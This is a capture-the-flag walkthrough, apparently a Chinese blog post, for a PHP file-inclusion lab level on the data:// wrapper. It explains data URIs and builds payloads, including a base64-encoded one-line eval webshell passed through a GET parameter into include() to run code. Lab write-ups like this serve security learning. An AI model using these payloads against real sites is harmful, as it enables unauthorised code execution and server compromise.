[HelloCTF]PHPinclude-labs超详细WP-Level 2-data协议

源码分析

  • 重点关注这两行代码

    • echo include("data://text/plain;base64,4pedKCrigbDilr/igbAqKeKXnEhlbGxvLUNURnd3");
      
      isset($_GET['wrappers']) ? include("data://text/plain".$_GET['wrappers']) : '';
      
  • 发现这里出现了 data协议

    • data:// - 数据流(RFC 2397)

      • 摘自-> https://da7uran0ir.github.io/2018/07/24/php%E6%94%AF%E6%8C%81%E7%9A%84%E5%8D%8F%E8%AE%AE/data%E5%8D%8F%E8%AE%AE/

      • 依赖

        • allow_url_fopen:On;

        • allow_url_include:On;

        • PHP_Version>=5.2.0

      • data://text/plain;base64,
        data:资源类型;编码,内容
        data:[<mime type>][;charset=<charset>][;base64],<encoded data>
        
      • 第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。

      • 第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。

      • 第三部分是编码设置,默认编码是 charset=US-ASCII,即数据部分的每个字符都会自动编码为 %xx,

        • 关于编码的测试,可以在浏览器地址框输入分别输入下面两串内容,查看

        • 效果:// output: ä½ å¥½             ->使用默认的编码展示,故乱码
          data:text/html,你好  
          // output: 你好 -> 使用 UTF-8 展示
          data:text/html;charset=UTF-8,你好
          // output: 浣犲ソ -> 使用 gbk 展示(浏览器默认编码 UTF-8,故乱码)
          data:text/html;charset=gbk,你好
          // output: 你好 -> UTF-8 编码,内容先使用 base64 解码,然后展示
          data:text/html;charset=UTF-8;base64,5L2g5aW9
          
      • 第四部分是 base64编码设定,这是一个可选项,base64 编码中仅包含0-9,a-z,A-Z,+,/,=,其中 = 是用来编码补白的。

      • 最后一部分为这个Data URI承载的内容,它可以是纯文本编写的内容,也可以是经过 base64编码 的内容。

      • data:,<文本数据>
        data:text/plain,<文本数据>
        data:text/html,<HTML代码>
        data:text/html;base64,<base64编码的HTML代码>
        data:text/css,<CSS代码>
        data:text/css;base64,<base64编码的CSS代码>
        data:text/javascript,<Javascript代码>
        data:text/javascript;base64,<base64编码的Javascript代码>
        data:image/gif;base64,base64编码的gif图片数据
        data:image/png;base64,base64编码的png图片数据
        data:image/jpeg;base64,base64编码的jpeg图片数据
        data:image/x-icon;base64,base64编码的icon图片数据
        
  • 而第一句给出了一个演示

    • 先把 4pedKCrigbDilr/igbAqKeKXnEhlbGxvLUNURnd3 base64编码 解密出来看看, 如下

      • ◝(⁰▿⁰)◜Hello-CTFww
    • 而这句代码就是通过 data协议 将上述内容传递给 include() 函数

  • 而第二句则是把 GET 参数 wrappers 通过 data协议的方式 传递给 include() 函数

    • 并且通过 text/plain; 限制了文本类型

解题分析

  • 为了获取flag, 我们是否可以通过 data协议 传递一句话木马给 include()

  • 先拿 <?php phpinfo();?> 举例, 构造 Payload

    • data://text/plain,<?php phpinfo();?>
      
    • 而我们需要传参的只有 ,<?php phpinfo();?>

    • image.png

    • 当然也可以把 <?php phpinfo();?> base64编码 后再传, 比如

      • data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
        

解题步骤

  • 尝试传入一句话木马

    • data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGxvY3RmJ10pOz8+
      
    • 或者也可以传入未经过 base64编码 的

    • 记得对 Payload 进行URL编码

  • 然后再同时执行一句话木马

  • image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Haicaji

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值